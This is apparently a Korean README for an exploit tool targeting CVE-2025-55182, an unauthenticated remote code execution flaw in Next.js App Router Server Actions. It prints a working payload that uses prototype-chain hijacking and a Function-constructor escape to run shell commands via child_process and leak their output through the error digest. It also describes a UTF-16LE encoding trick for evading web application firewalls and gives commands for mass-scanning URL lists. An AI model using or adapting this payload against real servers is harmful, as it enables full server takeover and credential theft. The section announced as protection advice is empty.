
CVE-2025-55182를 위한 개념 증명(PoC) 연구 도구로, React Server Components 및 Server Actions의 서버 측 객체 주입으로 인해 발생하는 Next.js App Router의 치명적인 인증되지 않은 RCE 취약점과 UTF-16LE WAF 우회 기법을 포함합니다.
NextRce는 CVE-2025-55182를 시연하는 보안 연구 도구로, React Server Components (RSC) 및 Server Actions을 사용하는 Next.js App Router 애플리케이션의 치명적인 취약점입니다.
이 취약점을 통해 공격자는 Next.js가 Server Action 응답을 처리하고 서버에서 직렬화된 RSC 페이로드를 해석하는 방식을 악용하여 **인증되지 않은 원격 코드 실행(RCE)**을 달성할 수 있습니다.
CVE-2025-55182는 Next.js App Router 아키텍처에 존재하며, multipart/form-data 요청 처리 중 발생하는 서버 측 객체 주입 / 프로토타입 체인 남용 문제로 분류될 수 있습니다.
Server Action이 트리거되면 Next.js 서버는 구조화된 클라이언트 입력을 신뢰하고 역직렬화합니다. 특별히 조작된 페이로드를 전송함으로써 공격자는 내부 해석 로직을 조작하고 Node.js 런타임에서 임의의 시스템 명령을 실행할 수 있습니다.
이 취약점은 다음과 같은 결합 요인으로 인해 발생합니다:
Server Actions 신뢰 모델
Server Actions는 내부 React Server Component 해석 로직을 통해 처리되는 구조화된 클라이언트 페이로드를 수용하지만, 검증이 충분하지 않습니다.
RSC 해석 중 객체 주입
조작된 페이로드는 JavaScript 프로토타입 체인과 생성자 참조를 악용하여 의도된 객체 범위를 벗어날 수 있습니다.
불충분한 검증
then, _response, form-data getter와 같은 내부 필드가 악의적인 조작으로부터 적절히 보호되지 않습니다.
인코딩 기반 WAF 우회
많은 웹 애플리케이션 방화벽(WAF)이 UTF-8 또는 표준 JSON에 초점을 맞춥니다. 페이로드를 UTF-16LE로 인코딩하면 Next.js 서버에서 올바르게 디코딩되면서도 검사를 우회할 수 있습니다.
익스플로잇은 멀티파트 요청 내에 조작된 RSC 페이로드를 주입하는 데 의존합니다.
아래는 페이로드의 단순화된 버전입니다:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('{cmd}').toString('base64'); throw Object.assign(new Error('x'),{digest: res});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
1. 프로토타입 체인 하이재킹
"then": "$1:__proto__:then"then 속성을 재정의하여 JavaScript의 프로토타입 체인을 남용하며, Next.js 런타임에서 React Server Component 처리 중 Promise가 해석되는 방식을 방해합니다.2. 생성자 이스케이프
"_formData": { "get": "$1:constructor:constructor" }Function 생성자에 접근할 수 있으며, 의도된 샌드박스 외부에서 임의의 JavaScript를 실행할 수 있습니다.3. 원격 코드 실행
process.mainModule.require('child_process').execSync('{cmd}')4. 다이제스트 기반 출력 탈취
throw Object.assign(new Error('x'), { digest: res });5. WAF 우회 (UTF-16LE)
Content-Type: text/plain; charset=utf-16leCVE-2025-55182를 성공적으로 악용할 경우 다음과 같은 결과가 발생할 수 있습니다:
🔥 완전한 원격 코드 실행
🗄️ 민감한 데이터 및 자격 증명 접근
🔗 인프라 내 측면 이동
📦 공급망 손상
🚨 완전한 서버 장악
심각도: 치명적
인증 필요: 아니오
CVE-2025-55182로부터 보호하려면:
단일 대상
python3 exploit.py -u https://target.com -c "whoami"WAF 우회를 통한 대량 스캔
python3 exploit.py -l urls.txt -B -t 50이 프로젝트는 교육, 연구 및 승인된 보안 테스트 목적으로만 제공됩니다.
소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에 이 도구를 사용하지 마십시오.
저자는 오용에 대한 책임을 지지 않습니다.